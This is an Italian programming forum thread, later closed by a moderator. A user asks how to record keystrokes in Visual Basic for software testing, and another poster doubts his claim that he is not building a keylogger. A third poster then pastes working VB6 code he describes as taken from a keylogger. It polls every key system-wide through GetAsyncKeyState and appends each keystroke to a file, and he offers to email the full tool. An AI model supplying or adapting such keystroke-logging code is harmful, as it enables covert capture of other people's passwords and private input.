Oppure

Loading
Questo topic e' stato chiuso dal moderatore.
05/12/06 15:24
amanu86
Ciao a tutti.

Vorrei sapere se esistono delle funzioni in VB che restituiscano gli input dell'utente.
Avrei bisogno di fare un programmino che mi permetta di memorizzare dove l'utente clicca con il mouse e quello che digita sulla tastiera. E' possibile fare qualcosa del genere in vb?
Questo mi serve per registrare dei test che devo eseguire su diversi programmi più volte

Grazie!!!
P.s. non sto cercando di creare un keylogger
__________________
---------------------------------------------------------------------------
festadeigiovani.tk :k:
aaa
05/12/06 17:52
Anonymous

P.s. non sto cercando di creare un keylogger................ne sei proprio sicuro?

cmq per quanto ne so servono le Api...
Ultima modifica effettuata da Anonymous 05/12/06 17:57
aaa
06/12/06 8:18
amanu86
Si ne sono sicuro, non voglio creare un keylogger ma un programma che mi permetta di registrare gli input e poi ripetere le operazioni registrate più volte.Questo mi serve perchè sto creando un programma per fare dei stress test su altri programmi.
aaa
06/12/06 20:17
questa è estrapolato un keylogger.legge la tastiera.

Se ne hai bisogno ti consiglio ti usare l'originale. chiedimelo e ti mando tutto via e-mail

il codice non è mio ma è estremamente semplice e utile per registrare i tasti. rileva anche le maiuscole e gli shift grazie a un modulo.
nel form:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim FoundKeys As String

On Error Resume Next

    Dim AddKey
    
    KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
        AddKey = vbCrLf
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8)
    If KeyResult = -32767 Then
        l = Len(Text1.Text)
        AddKey = "[Backspace]"
        GoTo KeyFound
    End If
   
     
    
'------------FUNCTION KEYS
'------------SPECIAL KEYS

KeyResult = GetAsyncKeyState(32)
    If KeyResult = -32767 Then
        AddKey = " "
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(186)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "è" Else AddKey = "é"
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(187)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "+" Else AddKey = "*"
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(188)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "," Else AddKey = ";"
       GoTo KeyFound
    End If
   
KeyResult = GetAsyncKeyState(189)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "-" Else AddKey = "_"
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(190)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "." Else AddKey = ":"
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(191)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "ù" Else AddKey = "§"   '/
        GoTo KeyFound
    End If
  
KeyResult = GetAsyncKeyState(192)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "ò" Else AddKey = "ç"       '`
        GoTo KeyFound
    End If
     


'----------NUM PAD
KeyResult = GetAsyncKeyState(96)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "0" Else AddKey = "="
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(97)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "1" Else AddKey = "!"
        GoTo KeyFound
    End If
     

KeyResult = GetAsyncKeyState(98)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "2" Else AddKey = Chr(34)
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(99)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "3" Else AddKey = "£"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(100)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "4" Else AddKey = "$"
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(101)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "5" Else AddKey = "%"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(102)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "6" Else AddKey = "&"
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(103)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "7" Else AddKey = "/"
        GoTo KeyFound
    End If
    
    
KeyResult = GetAsyncKeyState(104)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "8" Else AddKey = "("
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(105)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "9" Else AddKey = ")"
        GoTo KeyFound
    End If
       
    
KeyResult = GetAsyncKeyState(106)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "'*" Else AddKey = ""
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(107)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "+" Else AddKey = "+"
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(108)
    If KeyResult = -32767 Then
        AddKey = ""
        If GetShift = False Then Text1.Text = Text1.Text & vbCrLf
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(109)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "-" Else AddKey = "_"
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(110)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "." Else AddKey = ""
        GoTo KeyFound
    End If
 
KeyResult = GetAsyncKeyState(2)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "/" Else AddKey = "/"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(220)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "\" Else AddKey = "|"
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(222)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "à" Else AddKey = °
        GoTo KeyFound
    End If

KeyResult = GetAsyncKeyState(221)
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "ì" Else AddKey = "^"
        
        
        GoTo KeyFound
    End If
    
KeyResult = GetAsyncKeyState(219) '219
    If KeyResult = -32767 Then
        If GetShift = False Then AddKey = "[" Else AddKey = "{"
        GoTo KeyFound
    End If



For n = 65 To 128
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
        If GetShift = False Then
            If GetCapslock = True Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
        Else
            If GetCapslock = False Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
        End If
        GoTo KeyFound
    End If
Next n


For n = 48 To 57
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
        If GetShift = True Then
            Select Case Val(Chr(n))
                Case 1
                    AddKey = "!"
                Case 2
                    AddKey = Chr(34)
                Case 3
                    AddKey = "£"
                Case 4
                    AddKey = "$"
                Case 5
                    AddKey = "%"
                Case 6
                    AddKey = "&"
                Case 7
                    AddKey = "/"
                Case 8
                    AddKey = "("
                Case 9
                    AddKey = ")"
                Case 0
                    AddKey = "="
            End Select
        Else
            AddKey = Chr(n)
        End If
        GoTo KeyFound
    End If
Next n
DoEvents
Exit Sub

KeyFound:
If AddKey <> "" Then List1.AddItem AddKey
Open "C:\lol.txt" For Append As #1
Print #1, AddKey
Close #1
DoEvents
End Sub


nel modulo:
Global LastKey As String
Global timeout As Byte
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer


Public Function GetCapslock() As Boolean
' Return or set the Capslock toggle.

GetCapslock = CBool(GetKeyState(vbKeyCapital) And 1)

End Function

Public Function GetShift() As Boolean

' Return or set the Capslock toggle.

GetShift = CBool(GetAsyncKeyState(vbKeyShift))

End Function


Ps:non mi ricordo se è impostato sulla tastiera italiana o inglese. fai una prova tu.
PPs:ti scrive tutto oltre che in lol.txt anche in una listbox.
Ultima modifica effettuata da 06/12/06 20:31
07/12/06 10:32
amanu86
Ciao,grazie mille.mandami tutto vie e-mail

-----------------------------------------------------
festadeigiovani.tk:k:
Ultima modifica effettuata da amanu86 07/12/06 10:33
aaa
08/12/06 21:50
inviato.
12/12/06 16:55
amanu86
Ciao non mi è arrivato niente...






------------------------------------------------------
festadeigiovani.tk:k:8-)
aaa
13/12/06 20:04
scusa ho scordato l'acca finale nel mittente.
ora te l'ho spedita veramente